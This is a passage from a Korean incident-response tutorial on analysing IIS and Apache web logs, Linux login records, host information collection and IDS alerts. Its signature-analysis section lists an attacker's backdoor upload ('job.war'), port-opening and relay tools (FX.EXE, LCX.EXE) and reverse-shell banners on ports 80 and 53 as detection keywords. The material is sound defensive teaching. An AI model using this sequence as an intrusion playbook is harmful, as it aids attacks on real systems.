      URI 쿼리클라이언트가 시도한 쿼리(있는 경우), 즉 클라이언트에서 찾으려고 한 하나 이상의 검색 문자열을 기록Yes
      프로토콜 상태HTTP 또는 FTP 항목을 기준으로 작업 상태를 기록Yes
      프로토콜 하위 상태HTTP 항목을 기준으로 작업의 추가 상태를 기록.Yes
      Win32 상태Microsoft_ Windows (R) 운영 체제에서 사용하는 항목을 기준으로 작업 상태를 기록Yes
      보낸 바이트 수서버에서 보낸 바이트 수를 기록No
      받은 바이트 수서버에서 받은 바이트 수를 기록No
      걸린 시간작업을 완료하는 데 걸린 시간을 기록. ODBC 로깅을 제외한 모든 로그 형식에서 걸린 시간은 다음과 같은 기술적인 문제에 따라 밀리초 단위로 기록된다. 클라이언트 요청 타임스탬프는 HTTP.sys(커널 모드 드라이버)가 요청을 분석하기 전에 첫 번째 바이트를 받을 때 초기화되고 IIS에서 보내기가 완료되면(마지막 보내기) 중지 된다. 걸린 시간은 네트워크를 통한 시간은 반영 되지않는다.No
      프로토콜 버전클라이언트에서 사용하는 프로토콜(HTTP, FTP) 버전을 기록 HTTP의 경우 HTTP 1.0 또는 HTTP 1.1No
      호스트호스트 헤더의 내용을 기록No
      사용자 에이전트클라이언트에 사용되는 브라우저를 기록Yes
      쿠키보내거나 받은 쿠키의 내용(있는 경우)을 기록No
      참조 페이지사용자가 방문한 이전 사이트를 기록No
      표 IIS 웹 로그 형식 자료(마이크로소프트)

      IIS에서 기록하는 웹 로그가 어떤 것들이고, 또 내용은 무엇인지 알아야 여러분이 로그를 점검하거나 분석할 때 정확하고 효과적으로 분석 할 수 있다. 예를 들어 웹 요청 중에 메소드 형식이 틀린 웹 로그를 검색한다고 가정해보자. 로그를 검색하기 위해서는 메소드가 무엇이고 메소드가 로그에 기록되는지 알아야 한다. 다음과 같은 로그를 찾는다고 가정하자.

      2010-11-05 08:34:29 W3SVC1 192.168.0.100 PUT /test.txt – 80 – X9.XX.XXX.8X – – 201 0 0

      물론 로그 파일을 열어 각행을 일일이 검색할 수 있다. 하지만 로그 사이즈에 따라서 일일이 검색하기 불가능할 수 있다.

      효과적으로 로그를 분석하기 위해 대부분 로그 분석 툴을 이용하게 된다. 이때 웹 로그 형식을 이해하고 검색을 통해 원하는 결과를 빠른 시간에 찾는 것이 로그 분석의 핵심이다.

      다음은 아파치 웹 로그 형식을 표로 설명한 자료다. IIS로깅 옵션과 마찬가지로 클라이언트 IP에서부터 시간, 메소드, 쿠키정보, 헤더정보 등 로그에 기록되는 정보는 다양하다.

      다음은 아파치에 기록된 로그 예제다.

      127.0.0.1 - frank [10/Oct/2000:13:55:36 -0700] "GET /apache_pb.gif HTTP/1.0" 200 2326

      예제 로그의 각각의 정보들이 의미하는 내용은 다음과 같다.

      127.0.0.1 (%h)서버에 요청을 한 클라이언트(원격 호스트)의 IP 주소이다. HostnameLookups가 On이라면 호스트명을 찾아서 IP 주소 자리에 대신 쓴다. 그러나 이 설정은 서버를 매우 느리게 할 수 있으므로 추천하지 않는다. 호스트명을 알려면 대신 나중에 logresolve와 같은 로그를 처리하는 프로그램을 사용하는 것이 좋다. 여기에 나온 IP 주소는 사용자가 사용하는 컴퓨터 주소가 아닐 수 있다. 프록시 서버가 사용자와 서버사이에 존재한다면, 원래 컴퓨터 주소가 아니라 프록시의 주소가 기록될 것이다.
      – (%l)출력에서 “빼기기호”는 요청한 정보가 없음을 나타낸다. 이 경우 여기에 나올 정보는 클라이언트 컴퓨터의 identd가 제공할 클라이언트의 RFC 1413 신원이다. 이 정보는 매우 믿을 수 없기때문에, 긴밀히 관리되는 내부 네트웍이 아니라면 절대로 이 정보를 사용하면 안된다. IdentityCheck가 On이 아니라면 아파치 웹서버는 이 정보를 알아보려고 시도하지도 않는다.
      frank (%u)이는 HTTP 인증으로 알아낸 문서를 요청한 사용자의 userid이다. 보통 이 값은 CGI 스크립트에게 REMOTE_USER 환경변수로 넘겨진다. 요청의 상태코드가 401이라면 (아래 참고) 사용자가 아직 인증을 거치지 않았으므로 이 값을 믿으면 안된다. 문서를 암호로 보호하지 않는다면 이 항목은 이전 항목과 같이 “-“이다.
      [10/Oct/2000:13:55:36 -0700] (%t)서버가 요청처리를 마친 시간. 형식은: [day/month/year:hour:minute:second zone] day = 숫자 2개 month = 숫자 3개 year = 숫자 4개 hour = 숫자 2개 minute = 숫자 2개 second = 숫자 2개 zone = (`+’ | `-‘) 숫자 4개  로그 형식문자열에 %{format}t를 사용하여 다른 형식으로 시간을 출력할 수 있다. format은 C 표준 라이브러리의 strftime(3)과 같다.
      “GET /apache_pb.gif HTTP/1.0″ (\”%r\”)클라이언트의 요청줄이 쌍따옴표로 묶여있다. 요청줄은 매우 유용한 정보를 담고 있다. 첫째, 클라이언트가 사용한 메써드는 GET이다. 둘째, 클라이언트는 자원 /apache_pb.gif를 요청한다. 세번째, 클라이언트는 HTTP/1.0 프로토콜을 사용한다. 요청줄의 여러 부분을 따로 로그할 수도 있다. 예를 들어, 형식문자열 “%m %U%q %H”은 “%r”과 똑같이 메써드, 경로, 질의문자열, 프로토콜을 로그한다.
      200 (%>s)이는 서버가 클라이언트에게 보내는 상태코드이다. 이 정보는 (2로 시작하는 코드) 요청이 성공하였는지, (4로 시작하는 코드) 클라이언트에 오류가 있는지, (5로 시작하는 코드) 서버에 오류가 있는지 알려주므로 매우 중요하다. 상태코드의 전체 목록은 HTTP 규약 (RFC2616 section 10)에서 찾을 수 있다.
      2326 (%b)마지막 항목은 응답 헤더를 제외하고 클라이언트에게 보내는 내용의 크기를 나타낸다. 클라이언트에게 보내는 내용이 없다면 이 값은 “-“이다. 내용이 없는 경우 “0”을 로그하려면 대신 %B를 사용한다.
      표 아파치 웹 로그 설명

      예제에서 살펴본 항목 외 아파치 웹 서버에서 기록 가능한 항목이다.

      형식 문자열설명
      %%퍼센트 기호 (아파치 2.0.44 이후)
      %a원격 IP-주소
      %A(서버) IP-주소
      %BHTTP 헤더를 제외한 전송 바이트수.
      %bHTTP 헤더를 제외한 전송 바이트수. CLF 형식과 같이 전송한 내용이 없는 경우 0 대신 ‘-‘가 나온다.
      %{Foobar}C서버가 수신한 요청에서 Foobar 쿠키의 내용.
      %D요청을 처리하는데 걸린 시간 (마이크로초 단위).
      %{FOOBAR}e환경변수 FOOBAR의 내용
      %f파일명
      %h원격 호스트
      %H요청 프로토콜
      %{Foobar}i서버가 수신한 요청에서 Foobar 헤더의 내용.
      %l(있다면 identd가 제공한) 원격 로그인명. IdentityCheck가 On이 아니면 빼기기호를 기록한다.
      %m요청 메써드
      %{Foobar}n다른 모듈이 기록한 Foobar 노트(note) 내용.
      %{Foobar}o응답의 Foobar 헤더 내용.
      %p요청을 서비스하는 서버의 정규 포트
      %P요청을 서비스하는 자식의 프로세스 ID.
      %{format}P요청을 서비스하는 자식의 프로세스 ID 혹은 쓰레드 ID. format에는 pid와 tid가 가능하다. (아파치 2.0.46 이후) 
      %q질의문자열 (질의문자열이 있다면 앞에 ?를 붙이고, 없다면 빈 문자열)
      %r요청의 첫번째 줄
      %s상태(status). 내부 리다이렉션된 요청의 경우 *원래* 요청의 상태이다. 최종 요청의 상태는 %…>s.
      %tcommon log format 시간 형식(표준 영어 형식)의 시간
      %{format}tstrftime(3) 형식 format의 시간. (지역시간일 수 있음)
      %T요청을 처리하는데 걸린 시간 (초 단위).
      %u원격 사용자 (auth가 제공하며, 상태(%s)가 401인 경우 이상한 값을 나올 수 있음)
      %U질의문자열을 제외한 요청 URL 경로.
      %v요청을 서비스한 서버의 정규 ServerName.
      %VUseCanonicalName 설정에 따른 서버명.
      %X응답을 마쳤을때 연결 상태. X = 응답을 마치기 전에 연결이 끊어졌다. + = 응답을 보낸후에도 연결이 살아있다(keep alive).  – =  응답을 보낸후 연결이 끊어졌다.  (아파치 1.3 후반 버전에서 이 지시어는 %…c였지만, 전통적인 ssl %…{var}c 문법과 겹쳐서 변경했다.)
      %I요청과 헤더를 포함한 수신 바이트수로 0일 수 없다. 이를 사용하려면 mod_logio가 필요하다.
      %O헤더를 포함한 송신 바이트수로 0일 수 없다. 이를 사용하려면 mod_logio가 필요하다.
      표 아파치 웹 로그 형식 [1]

      아파치 로그 형식을 파악했으니 앞서 소개했던 로그 검색 예제를 참고해 여러분이 분석 시 상황에 맞게 원하는 결과를 검색하기 바란다.

      • 운영체제 로그

      SSH를 통한 로그인 시도에서부터 시스템에 마지막으로 로그인 했던 내역까지 시스템에 남아 있는 로그를 통해 확인이 가능하다. 대부분의 사전식 대입 시도는 “secure” 로그를 통해 확인이 가능하다. 시스템 로그 분석 시 점검하는 항목을 확인해 보자.

      시스템에 로그인한 계정 정보를 점검해보자. wtmp로그는 시스템에 로그인, 로그아웃 내역을 누적해서 기록한다. 해당 항목을 통해 시스템에 로그인한 사용자, IP, 로그인 시간에 대해 확인이 가능하다. 침해사고 발생 시 공격자에 발생한 로그인 내역 분석 시 활용한다.

      다음은 샘플로 wtmp로그를 실행 시킨 내역이다.

      # last -100 -f /var/log/wtmp
      root     pts/0        192.168.9.15     Wed Apr 28 00:58   still logged in  
      root     pts/1        192.168.9.15     Sun Apr 25 21:32 – 20:41 (1+23:08)  
      root     pts/0        192.168.9.15     Thu Apr 22 18:09 – 23:26 (3+05:17)  
      root     pts/0        192.168.9.15     Sun Apr 18 17:52 – 18:28  (00:35)   
      root     pts/0        192.168.9.15     Sun Apr 18 17:46 – 17:50  (00:03)   
      root     pts/1        song.local       Thu Apr  8 20:52 – 22:17  (01:24)   
      root     pts/0        song.local       Thu Apr  8 18:18 – 22:17  (03:58)     
      wtmp begins Thu Apr  8 18:17:43 2010

      네트워크와 로그를 통해 분석에 필요한 정보를 충분히 확보한 후에는 이벤트 분석 작업을 수행 한다. 수집된 정보의 양이 많은 경우는 효율적인 분석을 위해 먼저 데이터를 가공하는 작업이 선행되기도 한다.

      선별된 정보를 분석해 위협 징후를 확인 하고, 침해사고완 연관된 일련의 정보들을 조합 한다. 분석 과정에서는 공격과 관련된 특징으로 정보를 선별하거나 통계학적인 관점에서 임계치를 기준으로 정보를 분석 한다. 만약 침해사고와 관련된 근거 정보를 충분히 확보 할 수 없다면 정보 수집 과정을 반복할 필요가 있다. 처음 수집할 정보를 선별하는 과정에서 정보 수집 범위가 잘못됐을 수도 있고, 혹은 수집된 정보를 가공하는 과정에서 정보가 누락 됐을 수 도 있다. 이런 경우 처음 정보 수집 대상을 다시 한번 검토하고 제외된 대상에 대한 정보 재가공을 통해 분석 작업을 반복 한다.


      [1] http://httpd.apache.org/docs/2.0/ko/mod/mod_log_config.html#logformat

      침해사고분석용 정보수집

      분석 방법이 결정 되었다면 필요한 증거를 수집하게 된다. 침해사고분석에 필요한 정보는 크게 2가지 종류로 나뉜다. 보안솔루션이나 시스템에서 파일 형태로 기록하는 정보가 있고, 네트워크 통신 트래픽에서 수집되는 정보가 있다. 먼저 네트워크 통신 트래픽에서 수집되는 정보를 살펴보자.

      트래픽 정보를 생각하면 우리는 단순히 패킷 캡처 파일을 떠올린다. 하지만 캡처된 파일을 좀더 자세히 살펴보면 좀더 세분화 할 수 있다.

      • 네트워크 트래픽(Network Traffic) 분석 정보

      다음 표는 네트워크 트래픽을 통해 수집할 수 있는 분석 항목 이다. 개별 항목들은 상용 또는 오픈 소스 기반의 솔루션을 통해 수집 또는 자동 분석이 가능한 항목이다.

      구분수집 항목주요 분석 항목
      통신 패킷로우 패킷(Raw packet)페이로드(Packet Payload)헤더정보(Packet Header)
      세션 정보트래픽 플로우(Traffic flow)세션 연결 시간통신량(bytes, packet counts)
      애플리케이션 통신애플리케이션 파라미터애플리케이션 정보애플리케이션 변수공격 구문
      표 네트워크 트래픽 수집 항목

      • 로그 파일 형태의 분석정보

      로그 파일의 분석 정보는 좁은 의미로 해석하면 우리가 자주 사용하는 PC나 노트북 또는 서버 장비에서 기록하는 정보를 의미한다. 각각의 장비에는 운영체제가 동작하고 운영체제에 따라 관련 로그를 기록한다. 침해사고가 발생하면 운영체제에서 기록하는 로그를 수집해 이상 징후 분석에 활용 한다. 운영체제에는 사용자가 필요에 따라 설치한 응용프로그램이 동작한다. 개별 응용프로그램은 동작과 관련된 로그를 기록하게 되고 이 또한 위협 분석 시 수집되는 정보다.

      구분수집 항목주요 분석 항목
      윈도우시스템 보안 이벤트 레지스트리 정보이벤트 ID중요 레지스트리 수정 항목
      리눅스운영체제 로그 애플리케이션 로그Secure 로그
      애플리케이션웹 로그응답코드
      표 로그수집항목

      대표적인 엔드포인트 시스템으로 윈도우와 리눅스가 있다. 윈도우 로그는 크게 운영체제자체의 로그와 애플리케이션에 의해 발생되는 로그로 구분해 볼 수 있다. 윈도우에서 운영체제 로그의 가장 대표적인 로그는 이벤트로그다. 컴퓨터관리의 이벤트 뷰어를 통해 확인이 가능한데 운영체제의 보안로그와 시스템 로그를 제공한다. 이벤트 로그의 로그 형식과 종류에 대해서는 자세히 살펴보자.

      • 운영체제 정보

      OS에 대한 버전 정보를 수집하자. 각 버전별 지원되는 명령이나 서비스 팩에 따른 미묘한 차이가 존재 하기 때문에 이러한 차이를 사전에 확인하고 침해사고분석 시 반영한다. 일부 경우 OS버전이나 서비스팩 등의 차이로 결과가 틀려지거나 결과나 나오지 않을 수도 있다.

      운영체제 버전 확인은 점검 대상 시스템 기본 정보 수집 중 하나이다. 먼저 윈도우의 경우자제적으로 제공되는 ver명령을 이용해서 운영체제 버전을 간단하게 확인할 수 있다. cmd명령 창에서 ver명령을 입력하면 아래 그림과 같이 버전 정보를 확인 할 수 있다.

      그림 윈도우 버전 확인(ver)

      좀더 자세한 정보를 확인할 때는 시작->실행 winver입력을 하여 운영체제와 서비스팩 정보까지 확인 한다

      버전 정보를 확인하는 이유는 시스템에 영향을 미치는 취약점을 확인하기 위해서다. 공개된 취약점 공격 도구의 경우 OS나 응용프로그램 버전에 따라 영향 여부가 틀려진다.

      winver 내장 명령을 사용할 경우 GUI기반으로 결과를 확인 할 수 있다. 이 경우 텍스트 기반으로 자동 스크립트 점검을 할 경우에는 문제가 발생한다. 이때 psinfo.exe 명령을 이용해서 텍스트 기반으로 결과를 확인할 수 있다. Sysinternals에서 제작된 툴 모음에 포함된다.

      psinfo 명령을 이용하면 winver에서 제공하는 명령을 CLI기반으로 확인 할 수 있다. (https://learn.microsoft.com/en-us/sysinternals/downloads/psinfo)

      그림 윈도우 서비스팩 확인

      리눅스에서는 ‘uname’ 명령을 이용해 시스템 정보를 확인 한다. 커널 버전과 OS정보를 확인할 수 있고, 리눅스의 경우 Exploit마다 취약한 Kernel 버전이 있기 때문에 로컬 또는 원격에서 Exploit공격을 시도할 때 버전 정보가 중요하게 쓰인다.

      $uname –a Linux ubuntu 2.6.31-14-generic #48-Ubuntu SMP Fri Oct 16 14:04:26 UTC 2009 i686 GNU/Linux
      • 파일시스템정보

      파일 시스템 정보는 넓은 의미에 흔히 말하는 C, D, E 등의 파티션 정보나 물리적 디스크 정보를 말한다. 단순 시스템 경로 파악하거나 할당되지 않은 디스크 공간이 있는지 등을 확인한다. 일부 악성코드의 경우 비데이터 영역에 악성코드를 삽입해 구동되는 경우도 있다. 이러한 경우는 일반적인 점검으로 확인이 어렵고, 디스크 이미지를 추출해서 별도의 분석 툴을 이용해 물리 디스크 전체에 대한 점검을 진행해야 한다.

      파일 시스템 구조를 알면 직접 디스크상에서 삭제된 파일, 악성코드, 숨김 파일 등을 분석할 수 있다. 좀더 상세한 분석이 필요하거나 법적 증거로 제출하기 위해서는 디스크 이미지를 추출해 분석해야 한다. 이 작업을 위해서는 전용 분석툴이 필요하다.

      윈도우는 ‘컴퓨터 관리’ 메뉴에서 논리구조인 파티션과 물리구조인 디스크 정보를 확인할 수 있다.

      리눅스 시스템의 경우는 ‘df’ 명령을 이용해 파티션 정보와 물리적 디스크 정보를 확인 할 수 있다.

      $df -k
      Filesystem 1K-blocks Used Available Use% Mounted on
      /dev/sda1 7850996 2820552 4631632 38% /
      udev 254668 224 254444 1% /dev
      none 254668 216 254452 1% /dev/shm
      none 254668 96 254572 1% /var/run
      none 254668 0 254668 0% /var/lock
      none 254668 0 254668 0% /lib/init/rw
      /dev/sr0 201018 201018 0 100% /media/cdrom1

      • IP 정보

      IP정보 수집은 네트워크 관련된 기본 정보를 수집하는 과정이다. IP 정보 수집을 통해 현재 시스템의 네트워크 할당 정보를 확인한다. 간혹 한 개의 시스템에 2개의 다른 IP를 부여해 사용하기도 한다. 이 경우 공격자가 접근한 경로가 2개로 나뉘게 된다. 시스템에 부여된 IP 확인해 침해발생 시 추가로 접근 시도 가능성이 있는 내부 IP대역을 확인 한다. 통상 특정 시스템에 침해사고가 발생할 경우 해당 IP의 동일 서브넷에 포함되는 시스템의 경우 일단 침해가능성에 대해 의심해봐야 한다. 수집된 물리주소(Mac Address)는 ARP 스푸핑 공격 시 공격 시스템을 확인하기 위한 용도로 사용된다.

      IP정보 확인을 윈도우는 명령 창에서 ‘ipconfig’ 명령을 이용해 확인 가능하다. 리눅스 시스템에서는 ifconfig 명령을 이용해 시스템에 할당된 IP를 확인 할 수 있다.

      • 설치프로그램목록

      설치 프로그램 목록은 악성코드 설치 확인이나 정상 소프트웨어 이지만 의도하지 않게 설치된 프로그램이 있는지 점검하고 침해사고와의 연관성을 확인하기 위해 점검 한다.

      설치된 프로그램을 점검하는 관점은 설치된 소프트웨어 중 외부와 통신을 위해 사용하거나 시스템을 제어할 수 있는 권한을 가진 소프트웨어에 대해 살펴 보고, 해당 프로그램이 설치된 경우 설치 일자, 설치 계정, 수정일자 등을 이용해 침해사고를 분석하는데 실마리로 이용하게 된다.

      윈도우에서 쉽게 확인하는 방법은 제어판의 “프로그램 추가/제거”를 실행 시켜 확인하는 것이다. 이 때 프로그램뿐만 아니라 윈도우 구성요소에 대해서도 확인이 가능하다. 이러한 방법은 GUI기반으로 이뤄지기 때문에 자동화된 스크립트로 결과를 저장하기 어렵다. 분석가가 직접 실행시켜서 눈으로 확인하는 방법이다. 프로그램 목록을 텍스트로 추출해서 일괄 분석에 사용하려면 레지스트리 정보를 이용해 추출 할 수 있다.

      • 패키지정보
      그림 프로그램 추가 제거

      리눅스는 rpm명령을 이용해 다음과 같이 설치된 프로그램을 확인 할 수 있다. 관리자나 사용자가 설치한적 없는 프로그램이 깔려 있다면 공격자에 의해 설치된 것인지 의심해볼 수 있다.

      $rpm -qa | more
      setup-2.5.25-1
      ………..
      raidtools-1.00.3-2
      hotplug-2002_04_01-17
      file-3.39-9
      kernel-smp-2.4.20-8
      –More–

      Debian 계열의 apt-get 사용시

      $ls -al /var/cache/apt/archives/
      total 4612
      drwxr-xr-x 3 root root   4096 2014-04-27 23:10 .
      drwxr-xr-x 3 root root   4096 2014-04-27 23:23 ..
      -rw-r–r– 1 root root  63736 2014-05-05 02:04 autotools-dev_20140427.1_all.deb
      …..
      • 시스템구동정보

      윈도우의 경우 작업 스케줄러 구동 로그를 확인하여 스케줄러 작업을 통해 구동되었던 내역을 수집 할 수 있다. 해당 파일은 %SystemRoot%\tasks\SchedLgU.txt 경로에 존재한다.

      작업 스케줄에 등록되어 구동을 시도하는 악성 코드나 비정상 서비스를 확인 할 수 있다.

      “작업 스케줄러 서비스”
      6.1.7600.16385 (win7_rtm.090713-1255)
      “작업 스케줄러 서비스”
               2015-07-24 오후 4:52:26에 시작
      “작업 스케줄러 서비스”
      6.1.7600.16385 (win7_rtm.090713-1255)
      [ ***** 이 선 위에 가장 최근 항목이 있습니다 ***** ]
      그림 시스템 구동 정보

      명령 창을 통해서 수집 가능한 정보는 스크립트를 제작해서 하나의 파일에 추출 가능하다. 다음 샘플은 윈도우에서 기본 정보를 수집하는데 사용할 수 있는 점검 스크립트 파일이다.

      @echo off
      set OUTPUT=%COMPUTERNAME%.txt
      echo ################################################ > %OUTPUT%
      echo ############## 작성자 송대근 ################### >> %OUTPUT%
      echo ################## v1.1 ########################## >> %OUTPUT%
      echo ################# %DATE% ###################### >> %OUTPUT%
      echo ################################################ >> %OUTPUT%
      echo ################################################ >> %OUTPUT%
      echo ################ 점검시작시간 ################### >> %OUTPUT%
      echo ################################################ >> %OUTPUT%
      echo 시작 시간: %DATE% %TIME% >> %OUTPUT%
      echo ################################################ >> %OUTPUT%
      echo ################ 윈도우버전정보 ################## >> %OUTPUT%
      echo ################################################ >> %OUTPUT%
      systeminfo | findstr /B /C:”OS Name” /C:”OS Version” >> %OUTPUT%
      echo ################################################ >> %OUTPUT%
      echo ################# 윈도우SP정보 ################### >> %OUTPUT%
      echo ################################################ >> %OUTPUT%
      systeminfo | findstr /C:”Service Pack” >> %OUTPUT%
      echo ################################################ >> %OUTPUT%
      echo ################### IP정보 ###################### >> %OUTPUT%
      echo ################################################ >> %OUTPUT%
      ipconfig /all >> %OUTPUT%

      시그니처 기반 분석

      이번에는 시그니처를 기반으로 공격을 찾아내는 방법에 대해서 살펴보자. 사실 시그니처가 있는 공격은 좀더 찾기가 쉽다. 앞서 비정상 상황을 구분하는 방식은 제로데이 공격과 같이 시그니처가 없거나 어떤 공격으로 들어 왔는지 모르는 경우에 접근하는 방법이다.

      상대적으로 탐지 솔루션에서 패턴 매칭을 통해 정의된 시그니처명으로 이벤트가 탐지 되기 때문에 탐지된 이벤트만 확인하면 된다. 주로 해킹과 연관된 특징으로 검색 한다. 백도어와 연관된 경우 파일 명으로 접근이 가능하고, 명령을 실행할 경우에는 공격자가 자주 사용하는 명령어를 위주로 접근 한다.

      그림 시그니처 기반

      다음은 침해사고가 발생한 과정을 기술한 내용이다.

      톰캣 서버에 접속하여 톰캣 서버의 관리자 페이지에 ‘job.war’라는 백도어 프로그램을 올렸다.올린 백도어 프로그램에 접속한 다음 1) ‘ipconfig’, ‘arp’, ‘netview’라는 명령어를 실행하여 IP 주소 등 시스템 정보를 획득하고, 2) ‘FX.EXE’라는 명령어를 실행하여 3389 포트(port)의 터미널 서비스를 기동하고, 3)’LCX.EXE’라는 명령어를 실행하여….……생략…..

      공격자가 어떻게 접근했고, 어떤 명령을 실행했는지 기술되어 있다. 실제 침해가 발생 했을 때 앞서 언급된 ‘LCX.EXE’, ‘arp’ 등이 우리가 시그니처 기반으로 침해 흔적을 분석할 때 사용되는 키워드가 된다. 해당 키워드로 수집된 정보에서 일치하는 로그를 찾아낸다.

      시그니처를 기반으로 탐지된 로그를 보면서 같이 분석해 보자. 다음은 시스템 명령 실행과 관련된 침입탐지시스템 로그다.

      탐지시간2015-11-05 11:27:28 KST
      시그니처명Microsoft_Windows_Shell_Banner
      탐지건수1
      출발지IP10.10.10.1
      출발지포트14072
      도착지IP172.16.20.114
      도착지포트53
      프로토콜Domain
      배너Microsoft Windows [Version 5.2.3790]..(C) Copyright 1985-2003 Microsoft Corp…..C:\WINDOWS\ime>
      표 침입탐지시스템 로그 1
      탐지시간2015-11-05 11:27:47 KST
      시그니처명Microsoft_Windows_Shell_Banner
      탐지건수1
      출발지IP10.10.10.1
      출발지포트14073
      도착지IP172.16.20.114
      도착지포트80
      프로토콜http
      배너Microsoft Windows [Version 5.2.3790]..(C) Copyright 1985-2003 Microsoft Corp…..C:\WINDOWS\ime>
      표 침입탐지시스템 로그 2

      윈도우 환경에서 텔넷과 같은 서비스에 접속하게 되면 다음 그림과 같은 명령창이 생긴다.

      그림 윈도우 쉘

      탐지된 시그니처는 네트워크 통신 패킷에 윈도우 명령창이 발생하면 탐지된다.

      탐지된 로그에 어떤 숨은 의미가 있을지 생각해보자. 탐지 로그를 분석하기 위해서는 먼저 로그 분석에 앞서 탐지된 시그니처에 대한 이해가 필요하다.

      예제로 사용한 침입탐지로그는 공격자가 백도어 통신을 할 때 탐지되기도 하지만 텔넷과 같은 정상 통신 과정에서도 탐지된다. 그렇다면 예제로 설명한 탐지 로그에 차이점이 무엇인지 생각해보다.

      탐지 로그를 자세히 살펴 보자. 탐지된 로그의 도착지 통신 포트가 80번 포트와 53번 포트다. 일반적으로 80번 포트는 웹 서비스에 사용되는 포트이고, 53번 포트는 도메인 네임 서비스(DNS)에 사용된다. 만약 정상 통신이라고 한다면 23번 텔넷 표준 포트를 이용했을 것이다. 공격자는 방화벽과 같은 접근 제어 시스템을 우회하기 위해 통신이 자유로운 80번과 53번 포트를 이용했을 가능성이 높다.

      침해사고분석에 증거가 되는 확실한 정황을 찾았다면 실마리를 푸는 열쇠가 되기도 한다. 사례를 하나 더 살펴보자.

      그림 SMB실행접근

      탐지된 로그는 넷바이오스 통신을 통해 시스템 명령이 실행 되면 탐지 된다. 일반적으로 윈도우 서버를 서비스 목적으로 사용하는 기업에서 배치 작업을 실행하거나 일괄 명령 실행을 수행하는 경우 탐지될 수 있다.

      이벤트 탐지 내역을 살펴보자. 접근한 통신 포트는 넷바이오스 통신에 사용되는 TCP 포트이고, 사용자 administrator도 특별한 이상한 점을 발견하지 못했다. 그렇다면 어떻게 위협을 구분할 수 있을까?

      이번에는 실행된 파일명을 살펴보자. psexe.exe 파일이 실행되었다. 앞서 2장에서도 소개 했던 윈도우용 명령 실행 프로그램 이다. 넷바이오스 연결을 통해 배치 파일을 실행 시키거나 예약작업에 사용할 파일에 접근하는 경우는 있어도 명령을 실행 시키는 일은 드물다.

      일반적인 사용 형태가 아니라면 상세하게 확인해 볼 필요가 있다.

      그림 넷바이오스명령실행

      해킹을 시도하는 공격자는 한번에 자기가 필요한 정보를 피해 시스템에서 훔쳐가지 않는다. 많은 과정과 여러 명령어를 실행하면서 정보 수집을 하고, 필요한 정보를 훔쳐간다.

      이 과정에서 많은 명령이 실행되고 파일들이 생성되거나 실행된다. 여러분이 분석하는 로그에 공격자의 흔적이 분명히 남게 된다.

      앞서 소개했던 방법들을 잘 이용해서 그 흔적을 찾아내는데 성공하길 바란다.

      임계치 기반 분석

      위협 분석 방법론은 쉽게 얘기해서 어떻게 분석을 할지 정의 하는 것이다. 가장 대표적인 분석 방법론으로 블랙리스트 방식과 화이트리스트 방식이 있다. 먼저 블랙리스트 방식은 기존에 위험하다고 알려져 있는 키워드나 이벤트를 중심으로 수집된 정보를 분석하는 방법이다. 방대한 정보에서 정해진 정보만을 검색하기 때문에 상대적으로 분석 소요 시간이 짧다. 하지만 알려진 정보를 가지고 검색하기 때문에 언노운[1] 공격은 찾아내기 어렵다. 반대로 화이트 리스트 방식은 확인된 정상 범주의 정보를 제외한 모든 정보를 분석하는 방법이다. 블랙리스트 방식에 비해 분석할 양도 많고 분석 시간도 많이 소요 된다. 하지만 언노운 공격도 분석이 가능한 방법이다.

      분석한 이벤트가 왜 공격인가에 대해서 정의하기 위해서는 먼저 왜 공격이 아닌지 알고 있어야 한다. 다시 말해 정상 통신이나 정상 행위가 무엇인지 알고 있어야 한다. 보안을 입문하는 사람들에게 기본을 강조하는 이유이기도 하다. 애플리케이션이나 네트워크 통신이 어떻게 이뤄지는지 알고 있다면 정상 통신과 비정상 통신을 구분할 수 있다.

      예제를 통해 정상 통신과 비정상 통신을 구분하는 사례를 보자.


      [1] 공격 방식이 알려지지 않아 보안 솔루션에서 탐지되지 않는 공격

      • 원격 접속

      텔넷이나 SSH, 원격데스크탑 연결 등 사용자 대화 방식(user interaction) 기반 통신은 해킹에 자주 사용되는 통신 방식이다.

      다음 표는 침입탐지시스템에서 추출한 침입탐지 이벤트에 대한 정보를 요약한 표다.

      탐지항목탐지정보
      이벤트 수집 기간3개월
      탐지 시그니처 이름TCP_Invalid_SACK
      출발지 IP10.0.0.1
      출발지 포트랜덤
      도착지 IP랜덤
      도착지 포트랜덤
      총합1441 건
      표 IDS 이벤트 분석 정보 요약

      TCP_Invalid_SACK 라는 침입탐지시스템 시그니처는 비정상 SYN 패킷과 ACK 패킷에 의해 발생된다. 일반적으로 TCP 통신은 프로토콜에 정해진 방법으로 필요한 통신 패킷을 주고 받는다. 하지만 통신에 사용되는 프로그램이나 네트워크 특성에 따라 정해진 프로토콜과 다른 방식으로 통신하는 현상이 발생한다. TCP_Invalid_SACK 시그니처는 이러한 현상을 기록한다.

      이러한 이유로 공격자가 비표준 방식의 프로그램을 사용할 때도 통신 내역이 탐지된다. 물론 탐지된 정보에는 공격자의 통신만 기록되진 않는다. 탐지된 1441건의 이벤트에 공격자가 통신한 횟수는 소수일 것이다. 보안 분석가는 이벤트 분석을 통해 소수의 공격 탐지 건수를 찾아야 한다.

      정상 통신과 비정상 통신을 구분하기 위해 먼저 전체 통신 내역을 하나의 큰 그림으로 정리할 필요가 있다. 각각의 날짜에 어떤 포트들이 사용됐고, 사용된 횟수를 누적한 정보를 표로 정리할 수 있다.

      포트 통신 통계

      표를 작성하는 과정은 유튜브 영상을 참고 할 수 있다.

      이제 추출한 로그에서 어떤 공격이 발생했는지 같이 분석해 보자.

      정상 통신과 비정상 통신의 차이가 무엇 일까?

      그 차이를 구분하기 위해서는 여러분들은 정상 통신과 비정상 통신의 기준을 만들어야 한다. 정상과 비정상 통신의 차이를 접속횟수라는 기준으로 가정해 보자. 좀더 구체적으로 이전보다 갑자기 접속횟수가 4배 이상 증가된 경우 비정상 통신으로 가정해 보자.

      앞서 표로 만들었던 통신 포트 통계를 다시 살펴보면 이상한 현상이 눈에 들어 올 것이다.

      포트 통계 표에 22, 1501, 8002번 포트의 접속 횟수가 비정상적으로 증가 하거나 감소한 것으로 알 수 있다. 여기까지는 분석하는 사람의 가설에 의한 의심이고 정확한 분석을 위해서는 상세한 내역을 보고 판단하자.

      각각의 통신 내역을 상세하게 살펴보자.

      먼저 22번 포트의 통신 내역을 살펴보자. 의심스러운 통신 내용 중 어느 것을 먼저 볼지는 분석하는 사람들의 의도에 따라 적절히 판단하자.

      이번 경우에는 사용자가 시스템에 명령(user interaction)을 주고 받을 수 있는 SSH통신이 위험도가 높기 때문에 SSH접근 내역에 대한 분석을 먼저 진행 했다.

